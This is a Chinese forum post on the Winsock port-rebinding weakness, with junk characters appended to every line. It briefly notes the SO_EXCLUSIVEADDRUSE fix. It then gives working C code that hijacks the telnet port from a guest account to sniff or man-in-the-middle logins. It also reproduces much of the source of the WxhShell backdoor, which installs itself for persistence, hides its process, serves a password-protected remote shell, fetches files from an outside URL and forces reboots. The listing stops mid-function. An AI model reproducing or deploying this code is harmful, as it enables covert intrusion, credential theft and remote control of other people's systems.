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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: rLh490@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *Vv ;NA/  
1;.}u= 8  
  saddr.sin_family = AF_INET; 0IQu6 X  
<pK; D  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); gJ vc<]W8!  
"i_tO+  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); iLv"ZqGrw  
^4 es  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5>h2WL  
pA+Qb.z5z  
  这意味着什么?意味着可以进行如下的攻击: cf0em!  
FCqs'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Pbm ;@ V  
Wd~}O<"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) s_D7?o  
K8284A8v  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 FY#`]124*  
1D=My1B  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  GbB&kE3KP  
6kIq6rWF9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 eUF PzioW  
IQ2<Pinv  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ELY$ ]^T  
2z )h,<D  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,Z MYCl]  
yU .B(|  
  #include r'xa' 6&  
  #include -#rFCfPy^  
  #include f4@Dn >BJ  
  #include    {a% T <WW  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &S3szhe  
  int main() El"XF?OgpP  
  { DU}q4u@ )  
  WORD wVersionRequested; M7jDV|Go  
  DWORD ret; R8":1 #&  
  WSADATA wsaData; mN@0lfk;  
  BOOL val; :*}tkr4&eh  
  SOCKADDR_IN saddr; V :d/;~  
  SOCKADDR_IN scaddr; hDmVv;M:  
  int err; ='soSnT  
  SOCKET s; YdC:P# Nf  
  SOCKET sc; J0o U5d=3  
  int caddsize; f)"O( c  
  HANDLE mt; e[Q(OV5(R  
  DWORD tid;   ^+,mxV'8!  
  wVersionRequested = MAKEWORD( 2, 2 );  0A pvuf1  
  err = WSAStartup( wVersionRequested, &wsaData ); M{O2O(  
  if ( err != 0 ) { v[ F_r  
  printf("error!WSAStartup failed!\n"); {(xNC#   
  return -1; Ai#W. n  
  } e^Jy-?E  
  saddr.sin_family = AF_INET; f"k/j?e*  
   ^@{'! N  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^0X86  
] +Gi~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [DjdR_9*I  
  saddr.sin_port = htons(23); ;9u6]%hQTX  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W]6Y buP:  
  { #n~/~*:i92  
  printf("error!socket failed!\n"); #;?z<  
  return -1; x`C;  
  } k`\DC\0RG  
  val = TRUE; nwO;>Qr  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ckhW?T>l  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) tk1qgjE(?  
  { {wA@5+[  
  printf("error!setsockopt failed!\n"); BT`/O D@  
  return -1; K})j5CJ/  
  } {yspNyOx  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Vfc 9 +T+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {d^&$~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %v}:#_va]  
b%|%Rek8  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8V~w3ssz  
  { XPWK"t0 1  
  ret=GetLastError(); +=O8t0y n  
  printf("error!bind failed!\n"); ''f  
  return -1; (sr_& 7A  
  } /l:3* u  
  listen(s,2); PPE:@!u<  
  while(1) `$MO.K{  
  { L$(W* PG}  
  caddsize = sizeof(scaddr); mjy%xzVr6^  
  //接受连接请求 3R4-MK  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); n %"s_W'E  
  if(sc!=INVALID_SOCKET) ,`-6!|:  
  { ~rn82an@G  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )G*H l^Z;4  
  if(mt==NULL) eJ7A.O  
  { 3n6_yK+D  
  printf("Thread Creat Failed!\n"); *h-nI=  
  break; W.0dGUi*  
  } VQqEsnkz  
  } f}XUxIQ-<  
  CloseHandle(mt); B8w 0DJ  
  } $:mCyP<y  
  closesocket(s); x#Hq74H,  
  WSACleanup(); W0gaOew(^  
  return 0; lza'l  
  }   2v%~KV  
  DWORD WINAPI ClientThread(LPVOID lpParam) GHYgSS  
  { hiP^*5h  
  SOCKET ss = (SOCKET)lpParam; ChmPO|2F  
  SOCKET sc; vK2L"e  
  unsigned char buf[4096]; K mL PWj  
  SOCKADDR_IN saddr; "p$`CUtI  
  long num; ] J:^$]  
  DWORD val; hnG'L*HooE  
  DWORD ret; D%Pq*=W  
  //如果是隐藏端口应用的话,可以在此处加一些判断 PlBT H  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   'SOp!h$  
  saddr.sin_family = AF_INET; Kw-E%7gh4c  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^5"s3Qn  
  saddr.sin_port = htons(23); W@pVP4F0xM  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2/>AmVM  
  { VN`2bp>5I  
  printf("error!socket failed!\n"); SjG=H%  
  return -1; 6 D~b9 e  
  } 4[+n;OI  
  val = 100; -?'u"*#1,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vco:6Ab$  
  { )v ['p  
  ret = GetLastError(); ZH~m%sA  
  return -1; Hyq| %\A  
  } CQ3;NY=o  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }$iH 3#E8  
  { *qKwu?]?>  
  ret = GetLastError(); KvktC|~?  
  return -1; GH^i,88  
  } 46}/C5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) PtmdUHvD  
  { }bix+/]  
  printf("error!socket connect failed!\n"); Eiz\Nb  
  closesocket(sc); LFg<j1Gk`  
  closesocket(ss); Pme`UcE3H  
  return -1; 3go!P])  
  } rq2XFSXn  
  while(1) o.Q |%&1  
  { p,ZubR J"  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 l+YpRx/T\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -+ $u  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 w 7=Y_  
  num = recv(ss,buf,4096,0); 37 M7bB0  
  if(num>0) JJ7-$h'0q  
  send(sc,buf,num,0); QD / | zi  
  else if(num==0) Y@#~8\_  
  break; 8(uxz84ce  
  num = recv(sc,buf,4096,0); n;O 3.2  
  if(num>0) PO |p53  
  send(ss,buf,num,0); m}F1sRkdQ  
  else if(num==0) @c7 On)sy  
  break; 6RzTSb  
  } S/7D}hJ  
  closesocket(ss); vbFY}  
  closesocket(sc); Ig5J_Z^]b  
  return 0 ; mL3'/3-7:V  
  } jd(=? !_  
!BK^5,4?--  
%&e5i  
========================================================== /Q{Jf+>R>  
0jj }jw  
下边附上一个代码,,WXhSHELL Hhfqb"2on  
80:na7$)#  
========================================================== [f- #pew  
.}a@OLJd  
#include "stdafx.h" I 9tdr<  
qYbod+UX  
#include <stdio.h> ^#g GA_H  
#include <string.h> \n+`~< i  
#include <windows.h> B>9D@fmzs  
#include <winsock2.h> bjD0y cB[  
#include <winsvc.h> Xo]FOJ 5  
#include <urlmon.h> d{9jd{ _#G  
6,cyi|s  
#pragma comment (lib, "Ws2_32.lib") w3,QT}WvY  
#pragma comment (lib, "urlmon.lib") PksHq77  
lc[\ S4  
#define MAX_USER   100 // 最大客户端连接数 QN*'MA"M  
#define BUF_SOCK   200 // sock buffer tJ'U<s  
#define KEY_BUFF   255 // 输入 buffer .@1\26<  
) c+ ZQq  
#define REBOOT     0   // 重启 nFxogCn   
#define SHUTDOWN   1   // 关机 t%N#Yh!  
%H%>6z x  
#define DEF_PORT   5000 // 监听端口 n;2W=N?y  
&w LI:x5  
#define REG_LEN     16   // 注册表键长度 s_E iA _  
#define SVC_LEN     80   // NT服务名长度 V{c n1Af  
eQzSWn[  
// 从dll定义API JX>_imo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @0Tm>s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [&)9|EV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }bjTb!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .5_w^4`b  
7\5 [lM  
// wxhshell配置信息 m#'u;GP]k  
struct WSCFG { ii{5z;I]X  
  int ws_port;         // 监听端口 2/(gf[elX  
  char ws_passstr[REG_LEN]; // 口令 tPFV6n i  
  int ws_autoins;       // 安装标记, 1=yes 0=no L(AY)gB  
  char ws_regname[REG_LEN]; // 注册表键名 3%k@,Vvt  
  char ws_svcname[REG_LEN]; // 服务名 FnL~8otPF'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |A0kbC.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3osAWSCEL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 syBYH5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /XnI>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~ TurYvf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &hqGGfVsd  
L3i\06M  
}; U .G*C  
5RZAs63t  
// default Wxhshell configuration qmJFXnf  
struct WSCFG wscfg={DEF_PORT, %o*afd  
    "xuhuanlingzhe", X8?|5$Ey  
    1, 4sROMk=l  
    "Wxhshell", ioh_5 5e  
    "Wxhshell", 0'aZ*ozk  
            "WxhShell Service", uXtfP?3Vy  
    "Wrsky Windows CmdShell Service", &bA;>Lu#|o  
    "Please Input Your Password: ", [(UQQa=+  
  1, `Mp]iD {  
  "http://www.wrsky.com/wxhshell.exe", 8 rnr>Ee@  
  "Wxhshell.exe" "f5u2=7 }  
    }; zBqr15  
3$WK%"%T  
// 消息定义模块 C.(<KV{b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,!u^E|24  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #YhKAG@|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; saYn\o"m  
char *msg_ws_ext="\n\rExit."; :t9(T?2  
char *msg_ws_end="\n\rQuit."; H6e ^" E  
char *msg_ws_boot="\n\rReboot..."; Q/0;r{@Tq}  
char *msg_ws_poff="\n\rShutdown..."; )3z.{.F  
char *msg_ws_down="\n\rSave to "; 31J7# S2  
Fda<cS]  
char *msg_ws_err="\n\rErr!"; )lH?XpfTjm  
char *msg_ws_ok="\n\rOK!"; 5.5dB2w  
w;{k\=W3Ff  
char ExeFile[MAX_PATH]; zg|yW6l)9  
int nUser = 0; 2lXsD;[  
HANDLE handles[MAX_USER]; "52wa<MV J  
int OsIsNt; J& yDX>  
!tX14O~B-  
SERVICE_STATUS       serviceStatus; 0H;dA1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; lzl4pnj  
ITq+Hk R  
// 函数声明 AE^&hH0^  
int Install(void); m,]Tl;f  
int Uninstall(void); *)u_m h  
int DownloadFile(char *sURL, SOCKET wsh); kZf7  
int Boot(int flag); ?CM,k0  
void HideProc(void); uK): d&]Ux  
int GetOsVer(void); GTJ\APrH  
int Wxhshell(SOCKET wsl); aLhTaB-va  
void TalkWithClient(void *cs); zKgW9j<(  
int CmdShell(SOCKET sock); &[JI L=m5  
int StartFromService(void); d|DIq T~{W  
int StartWxhshell(LPSTR lpCmdLine); ZYu^Q6 b3  
0~BQ8O=+mn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cC WOG d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -hhE`Y  
/sJk[5!z  
// 数据结构和表定义 Cg)#B+  
SERVICE_TABLE_ENTRY DispatchTable[] = qF( ]Ce  
{ vad" N  
{wscfg.ws_svcname, NTServiceMain}, /"Rh bE   
{NULL, NULL} KasOh"W.P  
}; +Y 3_)  
y$\K@B4  
// 自我安装 7B+?1E(  
int Install(void) iHQFieZ.E  
{ I%{U~  
  char svExeFile[MAX_PATH]; KAEf4/  
  HKEY key; _v]I6<!5U  
  strcpy(svExeFile,ExeFile); Gs*ea'T)  
}L:LcM  
// 如果是win9x系统,修改注册表设为自启动 nLT]'B]$ +  
if(!OsIsNt) { -YS n 3=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +$8hTi,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5nf|CQH6?  
  RegCloseKey(key); 0@3g'TGl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -c|O!Lc-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @{t^8I#]  
  RegCloseKey(key); @RT yCr  
  return 0; r]8tl  
    } |(y6O5Y.  
  } Rra(/j<rQ  
} nb?bx{M  
else { 4+l7v?:Pr  
1~Pht:,t  
// 如果是NT以上系统,安装为系统服务 REFisH-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ls #O0  
if (schSCManager!=0) '[Nu;(>a  
{ Uf_w o  
  SC_HANDLE schService = CreateService a ,W5T8  
  ( "@`M>)*o  
  schSCManager, 0ZPPt(7  
  wscfg.ws_svcname, *4A.R&Vu  
  wscfg.ws_svcdisp, `Gsh<.w!7  
  SERVICE_ALL_ACCESS, t*Lo;]P  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \gIdg:"02  
  SERVICE_AUTO_START, US> m1KsX  
  SERVICE_ERROR_NORMAL, Uc7X)  
  svExeFile, L~vNW6#W  
  NULL, z[OW%(vrm  
  NULL, H]@Zp"7  
  NULL, (m.]0v*&c  
  NULL, 1Rl`}7Km  
  NULL rKi)VVkx_  
  ); !?Ow"i-lp  
  if (schService!=0) 7"8HlOHA  
  { jzzVZ%t  
  CloseServiceHandle(schService); 7B7I'{d  
  CloseServiceHandle(schSCManager); Gg,,qJO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t}*teo[  
  strcat(svExeFile,wscfg.ws_svcname); 3PBg3Y$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !gJAK<]iW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R<JI  
  RegCloseKey(key); Hi.JL  
  return 0; >@]E1Qfe  
    } ;'p0"\SV  
  } 73N%_8DH  
  CloseServiceHandle(schSCManager); a.w,@!7  
} #gsAwna3  
} PB }$.8  
-Ca.:zX  
return 1; ;5y!,OF6  
} 5]'iSrp  
n7{1m$/  
// 自我卸载 E 8,53$  
int Uninstall(void) I0OsaX'  
{ Prjl ;[I}  
  HKEY key; X*FK6,Y|(  
: PQA9U|  
if(!OsIsNt) { O7rm(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q{KRM\ooYs  
  RegDeleteValue(key,wscfg.ws_regname); _L# Tp  
  RegCloseKey(key); Blaj07K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r>osa3N'  
  RegDeleteValue(key,wscfg.ws_regname); <_42h|-  
  RegCloseKey(key); Q^0K8>G^  
  return 0; c}rRNS$F  
  } D:.^]o[  
} -AcQ_dS  
} bS0^AVA  
else { QouTMS-b  
guFR5>-L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =YPWt>\a}  
if (schSCManager!=0) Yz%=  
{ A.z~wu%(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [~jh Ov^  
  if (schService!=0) tK8\Ib J  
  { E}" &? oY  
  if(DeleteService(schService)!=0) { %M'"%Yn@(y  
  CloseServiceHandle(schService); X}p4yR7'  
  CloseServiceHandle(schSCManager); BAzqdG  
  return 0; ^!kv gm<{$  
  } ~ZvZ k  
  CloseServiceHandle(schService); ` qt4~rD  
  } y/kCzDT,  
  CloseServiceHandle(schSCManager); kMwt&6wS  
} =]7 \--  
} L6Ynid.k  
pCpj#+|_)  
return 1; aIqNNR  
} dIM:U :c  
7&HP2r  
// 从指定url下载文件 ;>Z#1~8  
int DownloadFile(char *sURL, SOCKET wsh) y{jv-&!xB  
{ q)@.f.  
  HRESULT hr; R` X$@iM  
char seps[]= "/"; .cu5h   
char *token; 9N'$Y*. d<  
char *file; qTffh{q V  
char myURL[MAX_PATH]; dB_\,%vAd  
char myFILE[MAX_PATH]; ]FFU,me2  
/Ee0S8!Z!1  
strcpy(myURL,sURL); 2<B+ID3qv  
  token=strtok(myURL,seps); P *%bG 4  
  while(token!=NULL) e3(0L I  
  { n,AN&BZ  
    file=token; ^//N-?Fx  
  token=strtok(NULL,seps); u2Rmp4]  
  } (:[><-h.  
zIdQ^vm8Q  
GetCurrentDirectory(MAX_PATH,myFILE); *>\RGL;]8  
strcat(myFILE, "\\"); Z;%qpsq  
strcat(myFILE, file); yM#W,@  
  send(wsh,myFILE,strlen(myFILE),0); ~t#'X8.)  
send(wsh,"...",3,0); [r]USCq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9Ft)VX  
  if(hr==S_OK) 59EAqz[:  
return 0; co~TQpy^  
else <(^-o4Cl  
return 1; kg !@i7  
+<3tv&"  
} ]B5\S  
O+'Pq,hn  
// 系统电源模块 HP?e?3.T  
int Boot(int flag) A:p0p^*  
{ +}^} <|W6  
  HANDLE hToken; _IgG8)k;  
  TOKEN_PRIVILEGES tkp; "%}PVO!  
I7[+:?2  
  if(OsIsNt) { e?f[t*td  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }[75`pC~O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Qh{=Z^r  
    tkp.PrivilegeCount = 1;  gu"Agct4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VvoJ85  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uIWCVR8`Y  
if(flag==REBOOT) { x "N,oDs  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wI`uAZ="  
  return 0; { ! FrI@  
} _ H@pYMNH  
else { H M76%9!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jMw;`yh  
  return 0; (:hPT-1  
} L8ZCGW\Rr  
  } .#+rH}=Z  
  else { ?=PQQx2_*u  
if(flag==REBOOT) { YemOP9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {8UBxFIM(  
  return 0; ^U`[P@T  
} 0<^K0>lm p  
else { Kh5:+n_X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K zM\+yC  
  return 0; %K%8 ~B  
} [[bMYD1eO  
} (jQL?  
*Qyw _Q  
return 1; U+'?#" J8(  
} vn kktD'n  
WOg_Pn9HI  
// win9x进程隐藏模块 @c{Z?>dUc#  
void HideProc(void) 31bKgU{  
{ "@Te!.~A.  
k_y@vW3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {&2$1p/9'  
  if ( hKernel != NULL ) ETtK%%F0  
  { ls/:/x(5d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TuX#;!p6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lSbAZ6  
    FreeLibrary(hKernel); S:t7U %  
  } 0|NbU  
i#Wl?(-i  
return; VW'e&v1.  
} DVCc^5#  
k:d'aP3  
// 获取操作系统版本 -gC=%0sp\  
int GetOsVer(void) .JH3,L"S^  
{ !>2s5^JI9  
  OSVERSIONINFO winfo; -R:1-0I$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  [bv.`  
  GetVersionEx(&winfo); OCR x|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S"}FsS;k<?  
  return 1; vK$T$SL  
  else JBg",2w |C  
  return 0; %3kqBH!d  
} w|RG  
4>, <b1Y  
// 客户端句柄模块 S&]JY  
int Wxhshell(SOCKET wsl) QtX ->6P>  
{ n*-#VKK^  
  SOCKET wsh; U2SxRFs >  
  struct sockaddr_in client; HPU7 `b4  
  DWORD myID; v3~,1)#aI  
6o{anHBB  
  while(nUser<MAX_USER) Q[g%((DL  
{ @gTpiV2  
  int nSize=sizeof(client); 5V%K'a(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <'s1+^LC  
  if(wsh==INVALID_SOCKET) return 1; g3Ff<P P  
/n:s9eq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); > m5j.GP;  
if(handles[nUser]==0) a+J :1'  
  closesocket(wsh); V{a7@_y  
else .Sb|+[{  
  nUser++; Ebp8})P/~  
  } I5 [r-r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A$^}zP'u0<  
G19FSLrtA  
  return 0; _c%~\LOk  
} g fO.Ky6  
(}Gl'.>\M  
// 关闭 socket \8<bb<`  
void CloseIt(SOCKET wsh) W]rXt,{ &  
{ tuUk48!2I  
closesocket(wsh); 6,oi(RAf  
nUser--; ;ATk?O4T  
ExitThread(0); i?mDR$X:  
} 6!+"7r6  
ZtB0:'o;  
// 客户端请求句柄 ]C]tLJ!M  
void TalkWithClient(void *cs) OlV>zam  
{ 5*4P_q(AxD  
TmO\!`  
  SOCKET wsh=(SOCKET)cs; T0aK1Lh  
  char pwd[SVC_LEN]; 'kYV}rq;l  
  char cmd[KEY_BUFF]; Wp >W?'`  
char chr[1]; @^`f~0#:  
int i,j; J7mT&U&Ru  
2t[inzn=E  
  while (nUser < MAX_USER) { A0&~U0*(~  
9]hc{\  
if(wscfg.ws_passstr) { #H5*]"w6I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3+!N[6Od9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ue-HO  
  //ZeroMemory(pwd,KEY_BUFF); dJCu`34Y'|  
      i=0; uOZ+9x(  
  while(i<SVC_LEN) { lr^-  
KnU"49  
  // 设置超时 EmY8AN(*  
  fd_set FdRead; jixU9]  
  struct timeval TimeOut; fzSZ>I0R  
  FD_ZERO(&FdRead); I ][8[UZ  
  FD_SET(wsh,&FdRead); Lw-j#}&6E  
  TimeOut.tv_sec=8; b_][Jye&P  
  TimeOut.tv_usec=0; s{A-K5S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^\_`0%`>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >-oa`im+  
[[TB.'k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s31^9a  
  pwd=chr[0]; \@I.K+hj$  
  if(chr[0]==0xd || chr[0]==0xa) { 7b Gzun&  
  pwd=0; .R:eN&Y 8y  
  break; v*#Z{)r  
  } )vy<q/o+  
  i++; O|av(F9  
    } <!=TxV>}A  
QmgwIz_  
  // 如果是非法用户,关闭 socket 2X6y^f';\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d6(qc< /!r  
} IO,kP`Wcx  
36lIV,YnU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m,=$a\UC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )vPce  
.W?POJT  
while(1) { nw\p3  
PqvwM2}4  
  ZeroMemory(cmd,KEY_BUFF); $aGK8%.O  
5%G++oLXf  
      // 自动支持客户端 telnet标准   $\a;?>WA"  
  j=0; Bt.W_p  
  while(j<KEY_BUFF) { =U@*adgw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {4:En;  
  cmd[j]=chr[0]; #=$4U!yL  
  if(chr[0]==0xa || chr[0]==0xd) { a^sR?.+3  
  cmd[j]=0; Z$[A.gD4  
  break; BH*vsxe  
  } *TMg.  
  j++; {\0R[+d  
    } /:%^Vh3XF  
q^12Rj;H  
  // 下载文件 tkJ/ h<  
  if(strstr(cmd,"http://")) { +ES.O]?>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9|'bPOKe  
  if(DownloadFile(cmd,wsh)) VgoQz]z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E$Ge# M@dM  
  else KAUYE^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9:BGA/?  
  } gqe z-  
  else { 3V,X=  
GWP"i77y0s  
    switch(cmd[0]) { 8uCd|dJ  
  s]B^Sz=  
  // 帮助 fM2[wh@  
  case '?': { O;,k~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #XmN&83_  
    break; `SIJszqc  
  } b?bIxCA8  
  // 安装 /M'b137  
  case 'i': { ^5GS !u"  
    if(Install()) pp{%\td  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iPkG=*Ip(%  
    else U&B~GJT+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G\P*zz Sq  
    break; {0QA+[Yd&!  
    } }hBv?B2/1  
  // 卸载 {fX4  
  case 'r': { FyY;F;4P  
    if(Uninstall()) Wx XVL"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8 3<kaeu,^  
    else QZwRg&d<o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }f({03$  
    break; JG4&eK$-  
    } &0ULj6jj  
  // 显示 wxhshell 所在路径 7l:H~"9r  
  case 'p': { #b8/gRfS  
    char svExeFile[MAX_PATH]; {'vvE3iZ  
    strcpy(svExeFile,"\n\r"); bxyU[`  
      strcat(svExeFile,ExeFile); huR<+ =!  
        send(wsh,svExeFile,strlen(svExeFile),0); s5z@`M5'm  
    break; 1r.q]^Pq~  
    } V];RQWs  
  // 重启 1}'Jbj"/  
  case 'b': { {+`ep\.$&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ||_F /AD  
    if(Boot(REBOOT)) g.9MPN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $MsM$]~  
    else { 1w5p*U0 ;  
    closesocket(wsh); ''WX  
    ExitThread(0); ~#j `+  
    } 'dht5iI;Yw  
    break; .t}nznh  
    } ~MQN&  
  // 关机 eM~i (]PY  
  case 'd': { pYa<u,>pN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;N,7#l|wi  
